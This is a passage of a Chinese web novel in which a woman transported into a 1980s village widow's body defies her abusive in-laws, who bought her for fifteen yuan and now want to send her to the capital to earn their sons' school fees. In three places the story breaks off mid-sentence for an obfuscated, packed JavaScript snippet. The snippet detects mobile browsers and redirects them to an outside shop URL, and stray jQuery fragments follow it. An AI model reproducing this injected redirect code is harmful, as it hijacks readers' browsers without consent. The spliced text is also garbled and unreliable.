听到响动,老四陈苗从灶房往外偷瞄。老三陈杏叉着腰站在院中间,苏棠路过的时候不小心踹翻了她竹篮里择好的豆角,撒了一地,引得陈杏怒骂不已。 等第二次苏棠跑过的时候,陈杏扑捉过去要抓她给钱桂香打一顿,苏棠腰往旁边闪,陈杏扑了空,一个狗抢屎的动作栽到地上。引得坐在门口烧蚂蚁的陈天赐拍着手哈哈大笑,村东头的大黄狗也吠叫着遥相呼应。 陈杏爬起身拍拍屁股上的灰,横眉竖眼:“啊哟,妈,妈,你看大嫂,真真厉害,她今天就没把你放眼里!” “不害臊的小娼妇,你别跑!不然老娘今天跟你没完!”钱桂香着实没料到,昨日撞了脑袋的林苏棠,居然变得如此烈性。今日她非得把她搭错的哪根筋正回来。 钱桂香当然追不上十八岁的苏棠,何况苏棠现在的这具身体手长脚长,她跑一步钱桂香要跑两步才能赶上。 “你骂我是娼妇,你家就是妓院,你们一家子都是老娼妇小娼妇!”在家爸妈连重话都舍不得说,哪受过这种气,此时脾气上来了,老虎不发威当她是病猫,嘴里“啊......”的一声掀翻了家里的吃饭桌,两脚前后一抬,箭一般冲出了院子。 陈杏刚拾起来的豆角又撒了,陈天赐吃剩一半的玉米飞了,碗碎了,一片狼藉。 咯咯哒,咯咯哒,院里的大公鸡小母鸡闻着味儿从笼里飞出来,吓得门口陈天赐大叫着躲回房。 欺负人是吧,要丢丑别关起门来丢,大家一起去外面丢个够。苏棠头脑一热,索性豁出去了。 “来打我啊,来打我啊!” 钱桂香气得一佛升天二佛出世,跟着跨出门槛:“真是出了鬼了,谁家媳妇像你一样睡到日上三竿。现在就想往婆婆头上骑,懒驴,反了天了你。” “谁家好婆婆大清早拿鸡毛毯子打人啊。恶婆婆杀人了!大家来评评理啊。哎哟哎哟,好疼好疼,疼死人了。” 周围村民也听到动静,纷纷过来围观,对着你追我赶的婆媳二人指指点点。 苏棠大学混过话剧社,演个小戏手到擒来。此刻毫不顾忌形象,双手抱头扯着嗓子喊,边喊边装哭。 “呜呜呜,大清都亡了,他们还搞封建迷信,给他们儿子冲喜,把娶进门的媳妇不当人!呜呜呜,我命好苦啊,呜呜呜,各位父老乡亲,你们行行好,每人都给我一块钱,我要坐火车去天安门告状,我要告诉主席西河头村村长家养奴隶啊,把你们一家人都枪毙了......”苏棠捶胸顿足地控诉,炮语连珠,一张小嘴儿机关枪似地突突突。 听完这话,在场村民都吃了一惊,更是议论纷纷。陈家的媳妇是十里八乡有名的结巴,原来被逼急了也是伶牙俐齿能开口说话的。 大家同在一个村子,东家长西家短,什么都瞒不过别人眼。他们都听说老林家有个口吃闺女林苏棠,她爹林老三胳膊肘往外拐,七年前为了给大侄子凑钱娶亲,十五块把亲生女儿卖给陈家的病秧子冲喜,这不昨天病秧子死了,她就成了寡妇。 “钱桂香啊钱桂香,你太不应该了,人在做天在看,亏你平日还去村庙里烧香,也不怕遭报应。”几个热心肠村妇看不惯,把苏棠拦在身后。 “你自己也是有儿女的人,苏棠和你家陈武一般大,你真下得了狠手啊。大清早拿个鸡毛掸子打人,别人家的女儿身上不是肉长的啊?” “我家武儿可是要念书考大学的,以后要吃国家饭,是她一个文盲能比的吗?还有,我教训家里儿媳妇,是我自己的家事,管你们什么事,都走走走,一个个的嘴咋都这么碎呢。” 钱桂香虽然在丈夫陈有才面前屁都不敢放,但在外面却很凶悍。陈武刚拿到高中录取通知书,谁都知道踏入高中就等于半只脚踏进了大学,因此陈家在人前像只打鸣的公鸡,分外趾高气扬。 “叔叔伯伯们,婶婶阿姨们,哥哥姐姐们,弟弟妹妹们,你们今天也看到了,陈家不待见我呐,哪天要是我被他们家折磨死了或是打死了,你们可要替我报警啊,把他们一家人都抓去蹲大牢啊!” 小姑娘一身白色孝服,身形弱不禁风,哭得梨花带雨,可怜兮兮,村民们听得义愤填膺。 好一张颠倒黑白的巧嘴!面对乡邻们的指责,钱桂香傻眼,刚才自己说一句她顶三句,跑起来两条竹竿儿腿比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055190|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四条腿兔子还快,钱桂香连人一根头发丝都没碰到,真冤枉。 “钱桂香,你赶紧在大伙儿面前做个保证,以后不许再打儿媳妇了。孩子怪可怜的,有什么话你好声好气和她说,动不动就打人,太缺德了。”一个中年女人站出来,声音洪亮。 女人穿一身洗得发白的中山服,梳着齐耳短发,手捧搪瓷缸,光是站着就威风八面。 “是,是,是,不打了,再也不打了。”要是旁人说话,钱桂香肯定不听,但开口的是村妇女主任唐香君,此人在村里颇有声望。 不知道哪个多事的把她找来了。 劝好了钱桂香,唐香君两片厚嘴唇一张,又来安抚苏棠。她像个知心大姐,语重心长,轻轻拍了拍苏棠的后背:“大妹子,都是一家人,哪有隔夜仇啊。退一步海阔天空。她是你婆婆,老人家年纪大了,你多让着点她,别那么任性。快回家去吧,一家人把日子过好,比什么都重要。” 苏棠心里的白眼翻到天上,更懒得再装哭。村妇女主任不是来解救她,而是来PUA她的。可惜她对这一类的PUA早免疫了。 见人没再继续闹,唐香君当作安抚住了,转向村民们说:“大家都散了,别看了,干活儿去吧!” 眼下两个事主都熄火了,场面变得非常无聊,村民们便都说说笑笑地走开了。村里婆婆打媳妇,媳妇欺负婆婆,各种奇事层出不穷,天天有热闹看,也不觉得是多大事儿。过日子嘛,谁家不是吵吵闹闹的。 望着村民们远去的背影,苏棠算明白了,大家都是各人自扫门前雪,事不关己高高挂起。别说一块钱,就连一分钱都没人给她。 来了一天了,再清澈愚蠢的大学生也知道陈家是吃人不吐骨头的,留在这一辈子只能遭人白眼,饱受欺凌。而自己娘家更是一滩臭狗屎,十五块就乐意把姑娘卖了,能是什么好地方。 可是身上一毛钱没有,她能上哪儿去? 苏棠不是自怨自艾的性格,在二十一世纪,苏棠从小到大经历过的考试不计其数,她从来未被打垮,反而锻炼出“不以己悲”的好心态和“死猪不怕开水烫”的抗压能力。 外面人差不多散了,陈有才突然出现在院门口,脸上有些挂不住,压着嗓子低吼:“孩儿他妈,还嫌不丢人,赶紧滚回来。” “当家的,你吼我做什么。” 鸡飞狗跳一中午过去了,钱桂香明显体力不支,听了陈有才的话回身进院子往屋里走,坐到炕上用手抹着胸口,嘴里仍是喋喋不休地咒骂。 她像个没事人一样,拿起碗踱步进灶房,给自己盛了一碗白米饭,又用筷子赶下一些玉米粒和腊肉盖在米饭上。啧啧啧,这品相,只能说熟了,勉强凑合能吃。 陈苗气鼓鼓在一旁盯着,这可是她刚炒好装盘的菜啊。 她脸皮怎么这么厚。自己不做饭就罢了,还吃她炒的菜。 这样想着,冷不丁后脑勺又挨了一记巴掌:“陈苗,你是废物吗,炒个菜都炒糊了,你自己闻闻这能吃吗?” 陈杏刚进灶房,就看到了四妹挨得这一记巴掌。她两手端着盆儿,里面是刚捡起来又洗了一遍的豆角,她有点愣住了,怎么还打人了。 苏棠转身从灶房出来,经过陈杏身边时,白了她一眼,抬手打翻了她盆里的豆角:“你的手是装了假肢吗?洗得什么玩意儿,脏死了。” 噼里啪啦洗菜盆掉了,豆角撒地上了,脏了。 陈杏傻眼了。 苏棠伸腿踩了一脚才作罢,反正她也不爱吃豆角,要是像送丹丹一样吃中毒了那就亏大了。 她不想上桌,就回到房间,锁好房门,一个人边看着窗外边吃饭。这具身体太瘦了,她得多长点肉。虽然饭很难吃,咬咬牙咽下去就好了。 陈杏陈苗正在灶房里弯腰捡着豆角,捡一个嘴里骂一句,虽然苏棠对此一无所知。 这边房里,陈有才吸着烟斗进去,挨着钱桂香坐在炕头。 良久,陈有才吐一口烟:“我说孩儿她妈,你好好的打大媳妇做什么,平时关起门来在家里打骂就算了,还往外头丢人,叫左邻右舍看到了又要说闲话,这不是败坏家里名声吗。咱家武子上了高中以后就是大学生了,不求你这当妈的给他长脸,你也别往外给他丢人啊。” 4. 04 家务事一般都是钱桂香在张罗,陈有才作为家里最重要的劳动力一般很少发言,但他开口了,钱桂香就要乖乖听。 钱桂香忙找补:“唉,大媳妇平时那样好性子一个人,今天非跟吃了秤砣一样和我对着干,我这不也是被气着了嘛。” 陈有才又吸了一口烟,沉吟了片刻:“你也知道大媳妇好说话,一定是你昨天推了她,脑袋撞得狠了,她这是记恨着你呐,你呀,等下好好跟她道个歉。咱们家日子还和从前一样过。” 钱桂香扭过身子看着陈有才,语调陡然升高:“我给她道歉?她倒成了婆婆我成了媳妇儿,反了天了。就撞了那么一下,又没撞出个好歹,人不是还活着吗?陈有才,我跟了你这么多年,咋没发现你胳膊肘爱往外拐呢?” 她大儿子陈耀祖虽瘫了,但到底还剩着口气,谁知刚洞房儿子就一命呜呼了,那可是老陈家的长子啊,她身上掉下来的肉啊,她能不气吗?她推她一下算好的啦,她当时拿刀剐了儿媳妇的心都有!谁知道她的头那么不经撞,撞那么一下还撞出气性来了。 陈有才把烟杆搁在膝盖上,像牛一样吐出一口气:“你听我把话说完行不行。” 钱桂香抿着嘴不吭声。 陈有才起身把虚掩的房门关上,继续说:“咱家武子要上高中了,高中学费更贵,我问你学费从哪来?” 钱桂香说:“咱们都是看天吃饭,哪有多的钱啊,要不让苗子和杏子初中别读了,反正女孩儿读出来以后还是要嫁人,不如提前给她们找个好婆家,先把定礼收了,咱家砸锅卖铁也要让武子念大学。等他念了大学,正好可以帮扶天赐一把。” 陈有才默然:“万一真没办法了也只能作这个打算,可眼下不是没有别的办法。” 钱桂香问:“那还有什么办法?孩他爹,你是怎么想的,你跟我透个底。” 陈有才说:“我有个远房亲戚的娃子这两天刚从首都回来,听说是在什么厂子里当工人,一个月能挣老不少钱呢。以前也是孩子多条件不好,现在听说他们家一个星期都能吃一顿肉呢。我想着咱家老大耀祖已经不在了,现在也不需要大媳妇照顾他了,反正她在家闲着也是没事,不如叫她跟我那远房表亲去首都寻个另外的挣钱门路,也好减轻家里的负担。” 钱桂香两手一拍:“这主意好。老大媳妇留在家里也只会把米吃贵了,咱家养她这么多年,她也该为咱家挣钱了。” 两夫妻在房里小声商议定了,便前后脚走出房门准备吃饭。 只两个菜摆在桌上,还飘出一股焦糊味,饭一碗没也盛。这种情况在陈家是前所未有的。 陈杏陈苗合作炒完豆角后就带着陈天赐在院子里玩踢石子,此时正玩得不亦乐乎,身后突然爆出一声责骂:“你们两个死丫头,谁叫你们把好好的菜糟蹋成这样,饭也不知道盛好。一个两个这点事情都做不好,以后说给了人做了媳妇,婆家不得骂死你啊!” 钱桂香骂人的时候,陈天赐便扑到钱桂香怀里,这时钱桂香会搂住他:“我的心肝,你别怕啊,妈没骂你呢。” 陈杏陈苗互相递了个眼色,像兔子一样撒腿去灶房盛饭。 到了饭点,钱桂香才舍得去喊正在睡午觉的二儿子吃饭,虽然陈武即将读高中,但在钱桂香眼里,他就是个大学生。和大学生说话,她当然得客客气气的。 一家几口围着桌子吃饭,陈苗看了三姐陈杏一眼,陈杏就放下筷子,添油加醋把林苏棠早上如何打四妹陈苗还有打弟弟的事全都说了,说完她扒拉了一口碗里的饭,用余光去看钱桂香。 陈苗自己和钱桂香堵着气,早上挨了林苏棠的打,要告状的紧却不想和钱桂香说话,在灶房的时候便悄悄撺掇三姐陈苗帮自己告状。 钱桂香听了又开始火冒三丈,她自己的孩子别人凭什么打?但丈夫陈有才按住了她的手,她的屁股还是重新沾到了凳子上。 见妈居然不冲过去踢开房门教训大嫂,陈苗觉得更委屈了。 “妈,你怎么不管管大嫂啊。” 钱桂香把筷子往桌上一拍:“吃饭都堵不住你的嘴。”说着她对陈杏道,“你去给大嫂盛一碗饭,叫她过来吃饭。” “大嫂吃过了,在我们之前她就端着碗躲房里吃了。”这下不光陈苗委屈了,陈杏也开始委屈了。怎么妈今天开始护着大嫂了,饭也不让她做,还要端到面前给她吃。太不公平了,妈肯定不会让大哥做家务,弟弟天赐更不用说,以后家里的活儿岂不是都要落到她和陈苗头上? 陈苗扒拉着碗里的饭,眼眶湿润了,她倒不像陈杏考虑那么深,心里只道妈果然还是偏心弟弟。要不然怎么弟弟一告状,妈就抡起鸡毛掸子打人,她告状,妈还让三姐送饭大嫂吃。她今天真是前所未有的委屈。而抬眼又看到吃完饭起身回房休息的二哥,她更是一万个想不通,凭什么二哥每天可以过得那么快活。 老二陈武对家里的琐事从来都漠不关心,作为家里学历最高的男孩,他一门心思全扑在读书上,他潜意识认为现阶段的家庭矛盾都是无意义的。陈武认定家里现在的状况都是没钱没权害的,等他上了大学,分配了工作,有了钱和权,他相信家里一切都会好起来的。 所以,他从不参与钱桂香家长里短的讨论之中,这也养成了他沉默少言的性格,使他在同龄人中显得更沉稳,外表虽其貌不扬,但因长得高又读了书,行动间总透露着几分书卷气。正因为这点书卷气,在母亲钱桂香看来却是老鼠窝里出了条大龙的预兆,钱桂香哪舍得让他操劳,最多只在农忙时节实在忙不过来了才让二儿子下地帮忙。 钱桂香说:“既然吃过了那就算了,三丫头你去喊大嫂出来,就说妈有话和她说。” 陈杏不情不愿地去了,发现房门被从里面反锁了,她敲门:“大嫂,大白天的你锁什么门啊,你不出来难道家务活都要留给我们做吗。你快点儿,妈喊你出来。” 等了会儿没听到动静,陈杏便对钱桂香喊:“大嫂把房门锁了不理我,妈你自己来吧,我没辙了。” “还躲起绣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055191|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房来了。”钱桂香小声嘀咕,想到二儿子上学的事,才深吸了一口气,勉强走到门边说: “苏棠啊,妈过来和你说个事儿,你在里面听着啊。咱家有个远房亲戚,过几天要坐火车去首都,那地方能挣老多钱了。你收拾收拾,过两天跟着去吧,咱家最近正好缺钱。” 苏棠有点晕碳水,中午干了那么一大碗白米饭,这会儿困得不行,头蒙在被子里闭上眼睡大觉。钱桂香在外面说什么她完全懒得听,不用猜也知道是屁话。 里面无人回应,钱桂香一只手把门拍得哐啷响,语气低了几分打起感情牌来: “妈是做媳妇过来的,就和你说两句知心话吧。咱们嫁到人家来当媳妇的,都要起早侍奉公婆的,平时做牛做马不能有半句怨言。你也不要多想,谁叫咱们是女人呢,世世代代都是这样传下来的。何况你是咱们老陈家花了钱买过来的人,没了丈夫以后自然也不能生育,没有儿子傍身,地位就更低了,所以做事情更要吃苦耐劳些,乡里乡亲才能看得起你。你这孩子之前一直都做得很好,现在怎么就不懂规矩了呢,说来说去,妈昨天是不该推你,谁叫妈一时气急了呢。你是个聪明孩子,肯定知道该怎么做......” 钱桂香耳朵贴门上听,什么声音也没听到,感觉一拳打在了棉花上,还给脸不要脸了,浪费她口水。她抡起胳膊把门拍得更响了。 “你哑巴了你,听到了就说话!” 在一旁的陈有才看不下去了,扯她袖子喊住她:“孩儿她娘,别说了,该下地干活了,走吧。” 钱桂香刹住话头,不情不愿地跟在陈有才身后,出门时转头对着坐在椅子上打盹儿的陈杏道:“三丫头,去把碗洗了。洗完了赶紧到地里来干活。下午活不多,正好让老五和你二哥待一块儿看书。” 陈杏在家几乎不用洗碗,钱桂香喊她洗碗她当然不乐意了,而且同样都是女孩儿,就算要洗碗也得拉着陈苗一块儿,可四下一看,陈苗早一溜烟跑地里去了。 这次陈苗学了个乖,在地里干活儿虽然脏点累点,干快一点慢一点离得远也没人催,不像在家里,干了活儿还要挨打。 陈苗并不打算洗碗,敲了敲苏棠的房门:“大嫂,你等下出来把碗洗了。” 说完她就去打盹儿了,估摸着时间起来再慢悠悠往田里去。 走在去田里的路上,陈有才扛着锄头,和钱桂香说话:“孩儿他娘,你得让大媳妇好好考虑,都是一家人,何必把关系弄得这么僵。” 钱桂香气得跺脚:“我说话,她听吗,她听吗?我看她是翅膀硬了不把我这个当婆婆的放在眼里。” 陈有才劝道:“首都又不是从咱家到供销社能用脚走到,你总得给人家时间考虑不是,到了晚上下地了再问她也不迟,何必一直闹她。大媳妇来咱家这么多年,也不像不懂事理的人,你好好跟她说,她心一软就答应了。咱家几个孩子能不能上学,还指望她呢。” 钱桂香一听觉得在理,当下气顺了,只等晚上回家再问一遍。 5. 05 林苏棠这一觉睡得神清气爽,起床时已日头偏西了。她从铝壶里倒出冷开水,灌了一碗下去,多喝水排毒养颜。 她走到钱桂香的床头,翻出她藏在抽屉里的鸡蛋糕,往嘴里塞了一块儿,甜的掉渣,也就凑合能吃。又拈了两块在手上,一面吃一面走到破院子门口。该说不说,傍晚乡下的风景还是挺不错的,夕阳西下,空气清新,苏棠要出去散散心。 鸡蛋糕是在供销社买的,这东西贵,陈家一年到头也只买个三五回,除了家里的两个男娃,谁也没资格吃。谁要是敢偷偷揩走一片屑子,钱桂香会骂的她狗血淋头。 苏棠一下子就拿走了三块。她这么瘦,多吃点是应该的。 院子里陈武正坐在矮凳上看书,旁边陈天赐歪着头挨在他腿边睡觉。 一阵蛋糕的甜香飘进了陈武的鼻子里,他的余光看到林苏棠径直走过他,往院外去了。望着林苏棠远去的背影,他不由得眉心微蹙。 以往家里的蛋糕都是他和弟弟吃,大嫂每次会给他拿两块,然后给弟弟陈天赐拿一块。她会对着他们兄弟俩傻笑,快乐地看着他们吃,有时目光和他对上,双颊还会泛红。她洗他衣服,会对他的衣服发呆傻笑。她给他盛饭,会在碗底压一块肉。她给他纳鞋底,会特地塞更多的棉花......同在一个屋檐下,早熟如他,过早就洞悉了大嫂的秘密——她对他怀有特别的感情。 而今天,大嫂好像把他和弟弟当成了隐形人。 莫名心情有点烦躁。 他看着大嫂消失在院门口的身影,有些出神,破旧带补丁的麻布孝服被她穿出了干净笔挺的感觉。衣服下摆长及脚踝,也许就是在刚才,她往腰上系了一根绳带,随意就在又肥又大的衣服上勒出了玲珑的腰线,一头泼墨般的长发洒在腰间光鉴动人,不再是囚成一团无精打采耷在脑后。知慕少艾的年纪,男生是最知道分辨美丑的,他忽觉得今天的大嫂格外的美。 陈武收回目光,继续看书,却再也看不进去了,满脑子都是大嫂窈窕的身形。 傍晚乡下田园风光很有意境,晚霞像打翻的油彩,泼泼洒洒浸染了半边天。西河头村也就天上的云能看,俗话说,靠山吃山,靠水吃水,但这村子处在交通不发达的闭塞平原,方圆二十里内连个打工挣钱的工厂都没有。而且眼下最迫在眉睫的一点是,她该何去何从。 不过,管他的,车到山前必有路,船到桥头自然直。只要心态好,老公在高考。 苏棠衣袂翩跹地走在乡间小道上,六月的田野里禾苗葱郁,听取蛙声一片。苏棠觉得悦耳极了,鼻尖隐约能闻到麻辣烤牛蛙的味道,好香。但这玩意儿要抓来然后杀了剥皮洗干净,制作程序怪麻烦的,她想吃的欲望还不那么强烈,暂时先放过这些蛙蛙,让快乐的小家伙们多蹦跶几天。 有几个村民看见了她,聚集在一起叽叽喳喳议论。 “你看你看,那不是陈家的寡妇吗,穿一身孝服就出来。” “你看她穿的,腰上还系一根麻绳,不伦不类的成什么样。” “哎哟,你不知道吗?当年林家十五块就把她卖了,听说是个结巴,脑子有点不好。前段时间她婆婆还拿鸡毛掸子追着她打。” “做媳妇哪有容易的,都是这样过来的。” “什么媳妇,现在是寡妇了,那么年轻,你看那腰和屁股扭的,那头发披着,一看就是个不安分的,估计过不了几天就要嚷嚷着改嫁了。” 这些话传到苏棠耳朵里,苏棠回头白了他们一眼:“背后嚼人舌根,小心舌头烂掉!” 哪些议论她的人用奇怪的眼神看她,哟哟哟,闷不吭声的小结巴怎么还会骂人了?众人总觉得陈家的小寡妇变了,变得不好惹了...... 太阳落山,在地里忙活了一下午的村民陆续扛着农具回家了,家家户户的烟囱开始冒出白色的炊烟,林苏棠沿着来时路往回去。是的,她饿了,这会儿家里饭应该熟了。 陈杏正在井水边洗碗,腮帮子气鼓鼓的,明显是挨了钱桂香的骂。 看到林苏棠走进院子,她斜了她一眼,没好气道:“你这个女人,让你洗碗你不洗,还知道回来!”大嫂要是把碗洗了,她现在就可以玩了! 家里的碗一直都是原主洗,所以他们一个两个都默认了这是原主该做的事,从不会反思这里面有自己的吃饭碗。白眼狼之所以是白眼狼,是因为他们都精致利己,且没有心。 林苏棠走到陈杏面前,想起书中陈家双胞胎两姐妹都不是好东西,陈苗是蔫儿着坏,凡事不自己出马,指使别人做。陈杏是明目张胆的坏,明知道自己是人家的刀,但她乐意去害人。她食指往她脑门儿重重一戳,戳得陈杏连连后退:“我当然回来啊,我回来吃饭,你有意见啊?什么女人,不知道喊我大嫂吗?你读书读到狗肚子里去了,不知道讲文明树新风有礼貌吗?我看你趁早别读了,回家放牛吧。” 陈杏被噎得话都说不出了,现在这个大嫂不仅不结巴,还长出了一张巧嘴,她说不过她。 林苏棠的长发在晚风中微微飘动,美得像妖精一样,嘴角弯弯笑出了粉嫩的牙龈,伸出右手毫不留情拧住陈杏的脸,用力一绞:“蠢东西,你好好洗碗,洗干净点。” 陈杏捂着脸,左脸火辣辣的疼,在心里暗骂:“死疯子!”她刚刚很想踹林苏棠一脚,但她的气性被那一看就不好惹的眼神硬生生逼退了,如果反抗的话林苏棠一定会把自己的头摁在洗碗水里咕噜的。 不过,她洗碗的时候故意留一个碗不洗,她倒要看看林苏棠待会儿吃饭的时候要不要碗。 当晚钱桂香难得下厨,炒了三个菜,陈杏陈苗盛好饭摆在桌上。到了饭点,林苏棠不说话,大喇喇往桌上一坐,拿起桌上的碗和筷子开始夹菜吃。 陈杏陈苗皆是一愣,然后各自交换了个眼神,换作看好戏的眼神看苏棠。大嫂只能在大家吃完饭后上桌,这一直是家里的规矩。而现在大嫂上了桌,她们知道大嫂要死定了。 陈武带着陈天赐也上桌了,本来是陈天赐挨着苏棠坐,但陈天赐把陈武往旁边一推:“二哥,你坐这儿。” 陈天赐缩了缩脖子,只希望自己不要再挨打,大嫂要打就打二哥吧。而且大嫂刚刚看自己的眼神好可怕,一定是因为自己在妈面前告状被她听到了,她不会真的晚上突然出现把自己偷偷扔茅坑吧?。 陈武坐在林苏棠身边,他拿起了碗筷,总觉得浑身不自在。被陈杏看到了,问她:“哥,你屁股长刺了啊,总是动来动去干嘛。”刚刚洗碗的时候被人揪了脸,陈杏没处撒气,现在看谁都不顺眼。 陈武瞪了陈杏一眼,陈杏就蔫了不敢再说话,她心里还是很惧这个二哥的。 钱桂香夫妇俩关门在房间说了会儿悄悄话,最后才上桌。 令陈苗陈杏意外的是,她们的妈并没有因林苏棠上桌而暴跳如雷,好像转了性子。 陈有才捞起桌上现成的一碗饭吃了起来,钱桂香左看看又看看,却没看到自己的饭,大手往桌上一拍,对双胞胎姐妹发话道:“你们两个死丫头,光顾自己吃,不知道给你妈也盛一碗饭啊。” 陈家姐妹盛饭只盛自己一家人的,本来一人一碗刚刚好,但苏棠今天上桌了还拿了一碗饭,所以陈家人中便少了一碗饭。 “妈,我给你盛饭。”陈苗默不作声,陈杏箭一样从凳子上窜起来,将方才故意洗剩的一只脏碗重新洗了一遍。她怕挨骂,不敢让钱桂香发现自己洗碗洗漏了。原本是想恶心一下林苏棠的,谁知道她这么鸡贼提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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苏棠又插科打诨补了一句:“妈,我这张脸这么好看,你要是给我打花了,我以后还怎么改嫁?我留着这张好脸蛋儿,以后嫁个有钱人,妈你也能沾点光不是。” 钱桂香脸都气绿了,但刚刚听了丈夫的话,所以按捺住了心底的火气。 “咱们农村女人都是嫁鸡随鸡嫁狗随狗,磕磕绊绊一辈子都这么过。寡妇再嫁是要被人戳脊梁骨的,你以后老实在我家待着,我把你当女儿养,不会亏待你。” 不会亏待就有鬼了。 林苏棠摆出一副抱怨的模样:“男人都死了,我不改嫁难道还要在家守寡守一辈子啊。再说现在都是新时代了,寡妇有改嫁的权力,已经不兴你那老封建的一套了。” 钱桂香心里憋着一口气,她这个做婆婆的给媳妇炒菜做饭,已经是卖了天大的面子了。林苏棠倒好,还挑肥拣瘦了。不单挑肥拣瘦,还嚷嚷着要改嫁。都是惯出来的毛病!钱桂香也懒得绕弯子了,干脆把话摆明面儿上说了。 “大媳妇,我就和你说吧,你有个远方表哥过两天要坐火车去首都,那地方可是大人物住在哪儿,官老爷脚底下漏出来的钱够你捡的了。听说你表哥在哪地一个月能挣一百块呢,他家里现在天天吃肉。你这两天就收拾收拾,然后跟表哥上首都发财去!家里养你这么多年,你也该为家里挣钱做贡献了。我们家武子的学费,还有杏子苗子和天赐的学费,你也该分担分担了。” 怪不得钱桂香夫妇这两天一反常态,原来是在这等着自己呢,林苏棠不禁冷笑,连吸她的血都像是恩赐一样。再说了,八零年代大家都南下淘金,他们倒好,一个劲儿撺掇她北上捡钱,苏棠有点被气笑了。 “我没有这样的表哥,我不去。谁想读书谁去打工啊,想读书就要为了读书付出代价,别老想着白嫖别人。” 这群白眼狼读书的学费,凭什么要她操心?又不是她生的,如果她生了这些个玩意,早特么把他们全灭了。 6. 06 钱桂香像是听不懂人话的NPC一样,继续开口:“那就这么说定了。” 陈有才咳嗽了两声,不可置信道:“她大媳妇,你说什么?你不去?你怎么能不去呢?你以前不是这样的人啊。你怎么变得这么没良心,我们可是你在这个世上最亲的亲人呐!家里娃都要上学,你有这个机会和能力,你不帮我们你帮谁。” 原主就是被这样PUA到了,听到这话自然是心口一热,她在陈家待了这么多年,陈家人终于不把自己当外人了。而自己终于有机会为陈家出力,成为家里的一份子,她当然轻易就被陈有才说服了。她看不透陈家的自私冷血和压榨。 可此林苏棠非彼林苏棠。她抓住了重点,既然首都这么能挣钱,他们两个人去不就能赚一双? 她抻着手指头,认认真真和钱桂香夫妇算起账来:“公爹,我知道你很急,你先别急。 我来帮你算算,在首都一个月能挣一百,那可比你和婆婆种地挣得多多了,我觉得你们俩去北京才最合适,加起来一个月能挣两百块,一年就是两千四百块钱。嘶,这可是笔巨款啊。要不我在家帮你们俩带孩子,你们去了每个月按月往家里寄钱就成。” 钱桂香一听这话,气得胸口痛:“不得了了,不得了了,你是真的黑心烂肺,你听听你说的这是什么话?要反天了。你不去,我用麻绳捆也给你捆去。” 陈有才抽着烟斗转身默默回了房间,经过钱桂香时打了一下她手背,示意她别再说蠢话。把人绑去,万一人心里有气,去了挣到钱不往家里寄咋办。 捆她去?她一个大活人还能让尿憋死不成。苏棠有点无语,翻了个白眼,转身准备回房睡觉了。 感受到家里剑拔弩张的气氛,陈武依旧默不作声,他本想起身回房的。但他还是想听听大嫂怎么说。尽管他认定大嫂说得都是气话,但他心里还是希望大嫂能一口答应去首都。就当是为了帮助他顺利完成学业。 他一直都知道大嫂喜欢他的。 但是大嫂这次并没有站到自己这边,他心里的感觉怪怪的。 陈武眼前突然浮现出大嫂刚才说的“白嫖”二字,他好像明白了,他明白了大嫂的弦外之音了。 大嫂这是在怨他。 他知道家里条件不好,没钱一切都难办。 妈就是这个脾气,他劝过很多次了,但没用。 他还是学生,他也是没有办法改善家里的状况。 等他读出了名堂来,这个家一定会好起来的...... 改天,他一定要和大嫂说清楚! 你不听话,还想睡觉?钱桂香不乐意了,冲过去撞了一下她胳膊,像一堵墙一样堵在房门口。 “今晚先别睡了,你去堂屋给耀祖守灵。” 昨晚是陈武在守灵,但今天苏棠醒了,还忤逆自己,所以钱桂香让苏棠顶上。苏棠不去首都,她有一百个法子逼得她在这个家待不下去,最后哭着求着要自己许她去首都。 守灵?苏棠立刻呈现出一副活人微死状态。 钱桂香不给对方挑战自己威信的机会,继续说:“你是耀祖他媳妇儿,晚上你不陪他谁陪他。怎么?不乐意啊,不乐意就别在家待,晚上给我滚出去。” 花十五块买回来的人,难不成真摆在家里当菩萨好吃好喝供着?钱桂香见不得人闲着,不然觉得自己每天都在亏本。 苏棠看了一眼外面,黑魆魆的,八十年代的农村晚上没有路灯,她一个姑娘家能跑哪儿去? 要她给他的宝贝耀祖守灵是吧? 好好好。 陈耀祖是钱桂香的大儿子,小时候突然腿脚没劲力,躺在床上不能起身,半年光景身体越长越小,医生说是瘫病。前阵子病得快不行了,钱桂香买了林苏棠来冲喜,新婚当晚陈耀祖归西了,死的时候不到二十岁。 当地农村有个习俗,白发人送黑发人,不宜大操大办,家里摆个灵位烧点纸钱就成,棺材放在家停七天。 纸扎的灵堂摆在正屋,黑白遗像摆在正中间,前面香炉里插着数根香,旁边是陶瓷骨灰罐,两边各点燃三根白蜡烛,呛人的空气里还弥漫着黄纸烧焦后的焦浊气息。这阴森的情形苏棠只在英叔的电影里看过。 苏棠年轻气盛,作为一个唯物主义战士,嘴里念着什么“富强、民主、文明、和谐”之类的话,正能量护体,胆子渐渐大了起来。 